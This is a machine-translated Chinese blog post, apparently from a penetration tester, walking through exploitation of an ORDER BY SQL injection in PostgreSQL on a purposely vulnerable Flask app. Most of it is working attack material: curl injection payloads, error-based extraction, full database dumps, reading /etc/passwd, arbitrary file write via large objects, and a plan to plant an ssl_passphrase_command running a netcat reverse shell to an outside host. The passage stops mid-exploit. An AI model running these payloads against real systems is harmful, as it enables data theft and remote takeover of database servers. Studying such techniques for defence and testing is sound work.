2020年5月5日
最近的一次接触中出现了ORDER BY子句中的SQL注入错误,这导致了一个有趣的漏洞,涉及对PostgreSQL数据库利用SQLi。这篇文章详细介绍了一些冒险经历。我们将介绍一些有用的Postgres函数,这些函数使使用SQLi更加容易,一些有趣的文件读/写原语,以及以DB用户身份执行命令的路径。我为那些想要直接尝试这些东西的人提供了一些易受攻击的示例代码。
最后,我帮助了我的Pulse一位战友使用了这个注射槽(然后公司聊天中的“嘿,怎么回事”消息逐渐变成了这种情况)。数据库用户是超级用户,但是由于无法CREATE/UPDATE/INSERT/DELETESELECT查询内部执行任何语句,因此我们无法使用大多数常用文档记录的方法来进行进一步利用。解决方案?从Postgres转储所有函数定义,下载源代码并开始挖掘!Postgres中可能会有更多有趣的东西,因此我在结尾处包括了一些函数查找和挖掘注释。

错误

我已经复制了在此页面底部包含的易受攻击的Flask应用程序中遇到的问题。我喜欢复制测试代码中的问题,因此可以浏览日志,运行调试器,并对发生的事情有更大的了解。一旦发现了漏洞,就可以针对现实目标进行攻击。
在这种情况下,错误是参数中的SQL注入接收器,该参数旨在为查询的一部分提供ASCDESC定义ORDER BY。以下代码段显示了该错误:

  1. cols = ['id','name','note','created_on']
  2. @app.route("/")
  3. def index():
  4. result = "<h1> Test some stuff </h1>"
  5. order = request.args.get("order")
  6. sort = request.args.get("sort")
  7. sqlquery = "select * from animals";
  8. if order in cols:
  9. sqlquery = sqlquery + " order by " + order
  10. if sort:
  11. sqlquery = sqlquery + " " + sort
  12. cur = conn.cursor()
  13. try:
  14. cur.execute(sqlquery)
  15. except psycopg2.Error as e:
  16. conn.rollback()
  17. return Response(e.pgerror, mimetype='text/plain')

order参数已根据白名单进行检查,但未进行检查sort,这导致我们进行了注入。错误会在HTTP响应中返回,这将使漏洞利用变得更加容易(更多内容即将发布!)。通过order=id&sort=%27,我们得到确认注射的以下信息:

  1. :~$ curl "127.0.0.1:5000/?order=id&sort=%27"
  2. ERROR: unterminated quoted string at or near "'"
  3. LINE 1: select * from animals order by id '

奇妙。注意,我们发现的原始错误不允许堆栈查询,而Flask + psycopg2类似物允许。鉴于能够堆栈查询意味着我们不再局限于SELECT语句,因此本文不会讨论利用查询堆栈,这使我们有能力将自己CREATEINSERT小小的黑客放心。我将不得不对此有所怀疑。

注射ORDER BY

现在我们了解了注入点,我们需要设计一个有效载荷,可以用来将信息从数据库中拉出。让我们看一下实现此目标的两种方法,即响应差异和通过错误消息进行数据泄漏。

响应差异

ORDER BY子句允许您按多列排序,但要用逗号分隔它们。例如,ORDER BY id, name将按排序id,然后按排序name。Postgres允许您CASE在ORDER BY子句中使用语句,我们可以利用该语句执行查询并测试结果。我们要执行的查询如下所示:

  1. SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END)

如果该语句为true,则结果将按排序note,然后note排序(顺序不变)。如果语句是假的,那么结果将被责令name然后id

重要的旁注。确保第一ORDER BY子句是并非在所有行中唯一的列,这一点很重要。意思是,它需要对至少两行使用相同的值进行排序。如果第一ORDER BY列在每一行中都是唯一的,则Postgres将不会执行第二顺序子句!

实际上是这样的:
【20200505】SQL注入和POSTGRES-最终RCE的冒险 - 图1
而当它为假时:
【20200505】SQL注入和POSTGRES-最终RCE的冒险 - 图2
您可以更改该SELECT语句以提取数据或任何数据,对其进行子字符串化处理,然后逐个字符地测试结果。这种盲注在整个网络上都有记录,因此在此不再赘述。鉴于我们有返回的错误消息,因此有一个更简单的选择。

错误信息提取

对一个SQLi接收器运行十七亿个查询非常有趣,但由于返回了错误消息,我们可以改用它。通过有目的地弄乱一个CAST,我们可以通过错误消息获得查询结果。有效负载如下所示:

  1. SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC)

以及完整的注入字符串,请注意,在这种情况下,ORDER BY参数的优先级无关紧要,CAST无论指定有效的有效列,执行都将执行order

  1. $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
  2. ERROR: invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit"

这是有些棘手的地方,请注意当我们尝试返回多行的查询时会发生什么:

  1. $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
  2. ERROR: subquery must return only one column
  3. LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ...

沼泽 此时,您可以使用该LIMIT子句,但是有一种更快的方法。这也导致了我们……

POSTGRES XML函数

Postgres包括一些方便的Dandy XML帮助器。如果我们对所有可用的Postgres函数进行grep并搜索xml,则会得到以下信息:

  1. xml_in
  2. xml_out
  3. xmlcomment
  4. xml
  5. xmlvalidate
  6. xml_recv
  7. xml_send
  8. xmlconcat2
  9. xmlagg
  10. table_to_xml
  11. query_to_xml
  12. cursor_to_xml
  13. table_to_xmlschema
  14. query_to_xmlschema
  15. cursor_to_xmlschema
  16. table_to_xml_and_xmlschema
  17. query_to_xml_and_xmlschema
  18. schema_to_xml
  19. schema_to_xmlschema
  20. schema_to_xml_and_xmlschema
  21. database_to_xml
  22. database_to_xmlschema
  23. database_to_xml_and_xmlschema
  24. xmlexists
  25. xml_is_well_formed
  26. xml_is_well_formed_document
  27. xml_is_well_formed_content

我们要看看其中两个有点接近,query_to_xmldatabase_to_xml

QUERY_TO_XML

query_to_xml执行查询,然后将结果作为XML对象返回。这里的好处是它将返回一行。因此,我们将其与前面讨论过的基于错误的SQLi链接在一起,嘿,请先执行任何SQL语句并检索结果,而不必担心限制或多行。首先,我们需要弄清楚如何调用它。在这种情况下,query_to_xml(query text, nulls boolean, tableforest boolean, targetns text)。或者,作为注入有效载荷的一部分:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <usename>postgres</usename>
  4. <usesysid>10</usesysid>
  5. <usecreatedb>true</usecreatedb>
  6. <usesuper>true</usesuper>
  7. <userepl>true</userepl>
  8. <usebypassrls>true</usebypassrls>
  9. <passwd>********</passwd>
  10. <valuntil xsi:nil="true"/>
  11. <useconfig xsi:nil="true"/>
  12. </row>
  13. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  14. <usename>testuser</usename>
  15. <usesysid>16385</usesysid>
  16. <usecreatedb>false</usecreatedb>
  17. <usesuper>true</usesuper>
  18. <userepl>false</userepl>
  19. <usebypassrls>false</usebypassrls>
  20. <passwd>********</passwd>
  21. <valuntil xsi:nil="true"/>
  22. <useconfig xsi:nil="true"/>
  23. </row>

辉煌。另外,请注意,我们正在连接的Postgres用户和超级用户一样,很快就会派上用场。

DATABASE_TO_XML

我们还可以使用xml帮助器通过单个查询转储整个数据库。
好吧,在大型数据库或任何类型的生产应用程序上,要这么合理地警告您,您可能不想这样做。但是,通过这种方式,下面是从基于错误的SQLi内部使用单个查询转储整个数据库的方法。当我们针对真实应用程序(在测试环境中!)执行此操作时,最终得到了150MB的xml文件。因此,请谨慎使用。
无论如何,您想要的是database_to_xml(true,true,'')。看起来像这样:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <public>
  4. <animals>
  5. <id>1</id>
  6. <name>dog</name>
  7. <note>is a good dog</note>
  8. <created_on>2020-05-04T14:40:16.909665</created_on>
  9. </animals>
  10. <animals>
  11. <id>2</id>
  12. <name>cat</name>
  13. <note>adorable, if passive aggressive</note>
  14. <created_on>2020-05-04T14:40:16.915896</created_on>
  15. </animals>
  16. <animals>
  17. <id>3</id>
  18. <name>fish</name>
  19. <note>fish go blub</note>
  20. <created_on>2020-05-04T14:40:16.918411</created_on>
  21. </animals>
  22. <animals>
  23. <id>4</id>
  24. <name>whale</name>
  25. <note>also go blub</note>
  26. <created_on>2020-05-04T14:40:16.920589</created_on>
  27. </animals>
  28. <animals>
  29. <id>5</id>
  30. <name>shrimp</name>
  31. <note>also go blub</note>
  32. <created_on>2020-05-04T14:40:16.92258</created_on>
  33. </animals>
  34. <animals>
  35. <id>6</id>
  36. <name>giraffe</name>
  37. <note>long neck, neato spots</note>
  38. <created_on>2020-05-04T14:40:16.924759</created_on>
  39. </animals>
  40. <animals>
  41. <id>7</id>
  42. <name>rock</name>
  43. <note>TICKET 1143 rock is not animal</note>
  44. <created_on>2020-05-04T14:40:16.926717</created_on>
  45. </animals>
  46. <secrets>
  47. <id>1</id>
  48. <name>some-secret</name>
  49. <secret_info>super secret info in the db</secret_info>
  50. </secrets>
  51. </public>
  52. </testdb>
  53. "

如果您想变得更微妙,可以使用它database_to_xmlschema来确定数据库结构,然后query_to_xml提取所需的内容。

文件读写

由于我们的用户是超级用户,因此我们可以使用Postgres的大对象将文件读写到文件系统上的任何位置。但首先,请注意一些文件记录和目录清单方面的文献资料。

PG_LS_DIR和PG_READ_FILE的变化

pg_ls_dirpg_read_file在各种Postgres SQLi速查表中进行了详细介绍。这些方法并没有允许的Postgres以前的版本绝对路径,但由于该犯的成员DEFAULT_ROLE_READ_SERVER_FILES组和超级用户可以使用任何路径上的这些方法(检查convert_and_check_filenamegenfile.c)。
不幸的是,现实生活中的目标应用程序是在较旧版本的Postgres上运行的,因此没有全局文件读取和目录列表。我们的演示模拟应用程序在Debian 10上,通过apt安装了Postgres 11,并以超级用户身份连接,因此没有问题:

  1. $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <pg_ls_dir>vmlinuz.old</pg_ls_dir>
  4. </row>
  5. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  6. <pg_ls_dir>srv</pg_ls_dir>
  7. </row>
  8. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  9. <pg_ls_dir>initrd.img.old</pg_ls_dir>
  10. </row>
  11. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  12. <pg_ls_dir>proc</pg_ls_dir>
  13. </row>
  14. ...snip...
  15. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  16. <pg_ls_dir>var</pg_ls_dir>
  17. </row>
  18. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  19. <pg_ls_dir>dev</pg_ls_dir>
  20. </row>
  1. $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash
  3. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  4. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  5. ...snip...
  6. postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
  7. "

读取和写入具有大对象的文件

Postgres 大对象提供了一种存储数据以及从文件系统读取和写入内容的机制。查看我们的功能列表,我们可以看到以下方法:

  1. lo_close
  2. lo_creat
  3. lo_create
  4. lo_export
  5. lo_from_bytea
  6. lo_get
  7. lo_import
  8. lo_lseek
  9. lo_lseek64
  10. lo_open
  11. lo_put
  12. lo_tell
  13. lo_tell64
  14. lo_truncate
  15. lo_truncate64
  16. lo_unlink

我们将重点放在lo_importlo_export分别读取和写入文件。数据结尾的两个表是pg_largeobjectpg_largeobject_metadata。这些方法在事务块内部运行,这意味着请求必须成功而不是回滚。因此,没有基于错误的SQLi,我们需要一个SQLi有效负载才能成功执行。

使用LO_IMPORT读取文件

lo_import允许您指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的OID。使用query_to_xml,我们可以请求pg_largeobject能够并通过XML函数将数据整齐地基于64位拉出数据。因此,要加载/etc/passwd,我们将使用以下有效负载:

  1. , (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END)
  1. $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  2. <h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip...

我们得到合法的应用程序响应,没有错误。现在/etc/passwd文件应该在pg_largeobject表中等待着我们:

  1. $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <loid>16437</loid>
  4. <pageno>0</pageno>
  5. <data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91
  6. c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu
  7. L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0
  8. OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft
  9. ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz
  10. ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v
  11. bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz
  12. Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox
  13. MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz
  14. OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct
  15. ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6
  16. L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp
  17. c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj
  18. ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg
  19. QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v
  20. bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv
  21. c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v
  22. bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy
  23. b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l
  24. dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz
  25. dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl
  26. bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi
  27. dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw
  28. MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5
  29. OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt
  30. Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu
  31. L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1
  32. c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z
  33. YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv
  34. ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data>
  35. </row>

太棒了 如果您愿意,也可以使用上述lo_get方法OID

使用LO_EXPORT写入文件

lo_export接受一个大对象OID和一个路径,以数据库用户的身份将文件写到该路径(postgres在我的情况下)。我将重用OID我们在上一步中创建的大型对象来对此进行测试。有效载荷将是:

  1. , (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END)
  1. $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  2. $ ls -l /dev/shm/
  3. total 12
  4. -rw------- 1 postgres postgres 6928 May 1 16:43 PostgreSQL.1150217542
  5. -rw-r--r-- 1 postgres postgres 1601 May 4 17:53 testing

可以通过使用lo_from_bytea创建具有指定字节数组的大对象来执行任意文件写入,例如:

  1. select lo_from_bytea(0,'this is a test file with test bytes');

现在的问题变成“我们可以以postgres用户身份将什么写入文件系统以实现代码执行”?数据库和Web服务器在同一主机上可能会打开某些选项,但是在这种情况下,我们有一个独立的数据库服务器。

清理大物件

可以使用select lo_unlink(OID)命令删除大对象。运行a select * from pg_largeobject并删除您创建的所有对象将是向您添加参与式清理和包装例程的好步骤。

命令执行-仅直接覆盖配置文件

我想到的一件事是在postgres用户可以编写的配置文件中寻找一个选项,这将使我们指定将在某处执行的任意命令。仔细检查配置文件是否确实属于postgres

  1. $ ls -l /etc/postgresql/11/main/postgresql.conf
  2. -rw-r--r-- 1 postgres postgres 24194 May 1 16:31 /etc/postgresql/11/main/postgresql.conf

转储所有配置选项并查找command以下内容:

  1. testdb=# select name, short_desc from pg_settings where name like '%command%' ;
  2. name | short_desc
  3. ----------------------------------------+-------------------------------------------------------------------
  4. archive_command | Sets the shell command that will be called to archive a WAL file.
  5. log_replication_commands | Logs each replication command.
  6. ssl_passphrase_command | Command to obtain passphrases for SSL.
  7. ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload.
  8. (4 rows)

ssl_passphrase_command 看起来充满希望,让我们在配置文件中检查一下:

  1. # - SSL -
  2. ssl = on
  3. #ssl_ca_file = ''
  4. ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
  5. #ssl_crl_file = ''
  6. ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
  7. #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
  8. #ssl_prefer_server_ciphers = on
  9. #ssl_ecdh_curve = 'prime256v1'
  10. #ssl_dh_params_file = ''
  11. #ssl_passphrase_command = ''
  12. #ssl_passphrase_command_supports_reload = off

太好了,那样做。我们可以覆盖配置文件来设置命令。这将在我们告诉postgres重新加载配置文件时执行。
“但是覆盖配置文件不具有很高的风险吗?” 是的,由您决定如何不破坏任何不应破坏的东西。也就是说,select pg_reload_conf()如果我们的外壳无法解密私钥,则不会关闭服务器。但是,如果a systemctl restart postgres或服务器重新启动,则数据库不会恢复。所以我们需要偷偷摸摸。
为了执行该命令,ssl_key_file需要指向受密码保护的密钥。我们可以使用来上传自己的密钥文件lo_export,但是在执行命令之前遇到了问题:

  1. 2020-05-04 18:30:43.485 NZST [22651] DETAIL: File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root.
  2. 2020-05-04 18:30:43.485 NZST [22651] LOG: SSL configuration was not reloaded

通过使用lo_import(snakeoil,在debian上)下载现有的私钥,在密钥上设置密码短语并重新上传,可以解决上述两个问题。通过使用实际上返回密码的exploit命令,我们可以使偷偷摸摸翻倍,以便密钥成功解密。
此时的计划是:

  • lo_import 当前的配置文件和现有的私钥
  • 转储配置,确认我们具有正确的文件和位置
  • 转储密钥,添加密码
  • 使用lo_from_bytealo_put更新配置文件以执行恶意命令,并添加经过调整的私钥
  • lo_export 篡改的配置和密钥回到磁盘
  • 执行pg_reload_conf()以加载新配置

让我们首先使私钥和RCE有效负载正常工作。我想在SQLi错误的范围之外解决所有问题,然后最后将所有内容串在一起。这样做的想法是,如果我对工作方式做出任何错误的假设,那么我不会尝试通过另一个漏洞进行调试。快速失败等等。

构建RCE有效负载

有效负载需要满足Postgres文档中规定的要求。基本上,它需要退出0并在stdout上返回密码。

ssl_passphrase_command(字符串)设置需要获取用于解密SSL文件(例如私钥)的密码时要调用的外部命令。默认情况下,此参数为空,这表示使用内置的提示机制。 该命令必须将密码短语打印到标准输出,并以代码0退出。在参数值中,%p将替换为提示字符串。(将%%写入文字%。)请注意,提示字符串可能包含空格,因此请务必使用足够的引号。如果存在,将从输出的末尾除去一条换行符。 该命令实际上不必提示用户输入密码。它可以从文件中读取它,也可以从钥匙串工具中获得它,或类似的东西。用户应确保所选的机制足够安全。 只能在postgresql.conf文件或服务器命令行中设置此参数。

尽管您可以上传任何类型的恶意文件lo_export,但我还是通过使用bash达到了最终目的。ssl passphrase命令的有效负载如下:

  1. bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0'

该代码检查管道是否存在,如果不存在则创建它。然后执行netcat反向外壳程序并使其成为背景。之后,我们回显密码短语并退出0。
接下来,我们需要弄清楚如何向私钥添加密码。该openssl命令可用于将密码短语添加到现有密钥:

  1. ~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key
  2. writing RSA key
  3. Enter PEM pass phrase: passphrase
  4. Verifying - Enter PEM pass phrase: passphrase
  5. ~/tmp$

优秀的。这是您手动更新配置文件并确保所有操作均按预期进行的部分。有一个小问题,如果当前打开了外壳并且有人尝试重新启动Postgres,则重新启动过程将Stopping PostgreSQL Cluster 11-main...一直挂起,直到退出netcat。要记住的事情。另一个选择是对curl您想要的任何上演者/dev/shm执行该操作,而不是尝试在netcat的衬板中解决作业控制问题。你虽然你。
好吧,这样准备好了吗?错误:

  1. :~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key
  2. -rw-r----- 1 root ssl-cert 1766 May 4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key

postgres用户无法覆盖该文件,默认的umask将创建一个错误的权限的文件。很好,很好,我们只需要一个postgres用户已经拥有并具有0600权限的文件。应该至少有一个,对不对?

  1. :/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l
  2. 1297
  1. 805260 8 -rw------- 1 postgres postgres 6895 May 4 20:20 /var/lib/postgresql/.psql_history
  2. 805261 4 -rw------- 1 postgres postgres 258 May 4 20:21 /var/lib/postgresql/.bash_history

这两个看起来不错,但我觉得那样会骗人,所以继续前进。

  1. :/# ls -l /var/lib/postgresql/11/main/PG_VERSION
  2. -rw------- 1 postgres postgres 3 May 1 16:31 /var/lib/postgresql/11/main/PG_VERSION
  3. :/# cat /var/lib/postgresql/11/main/PG_VERSION
  4. 11

好的,看起来更好,让我们尝试将所有内容串在一起并获取我们的shell。

漏洞利用

因此,在完成原型后,这是从SQLi到RCE的最后一步:

第一步-获取配置文件

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  2. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3. <setting>/etc/postgresql/11/main/postgresql.conf</setting>
  4. </row>
  5. "
  6. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  7. <h1> Test some stuff </h1><table><th>id</th><th>name...snip...
  8. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
  9. <h1> Test some stuff </h1><table><th>id</th><th>name...snip...
  10. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  11. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  12. <loid>16441</loid>
  13. </row>
  14. ...snip...
  15. <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  16. <loid>16442</loid>
  17. </row>
  18. "
  19. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
  20. ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  21. <loid>16441</loid>
  22. <pageno>3</pageno>
  23. <data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl
  24. cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl
  25. X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK
  26. I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp
  27. CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h
  28. eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g
  29. MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w
  30. YXJ0aWNpcGF0aW9uID0gb24KI21heF9

16441将是我们的“干净”配置,如果我们需要快速回滚,可以将其后台处理到磁盘。16442这就是我们要弄的东西。连接所有base64 blob并假脱机到磁盘后,我们得到了配置文件。SSL参数是我们感兴趣的:

  1. :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
  2. tee file
  3. ...snip...
  4. :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file |
  5. perl -pe 's/^.*?<data>(.*?)/$1/g' |
  6. while read i; do echo $i | base64 -d; done |
  7. grep ssl
  8. ssl = on
  9. #ssl_ca_file = ''
  10. ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
  11. #ssl_crl_file = ''
  12. ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
  13. #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
  14. #ssl_prefer_server_ciphers = on
  15. #ssl_ecdh_curve = 'prime256v1'
  16. #ssl_dh_params_file = ''
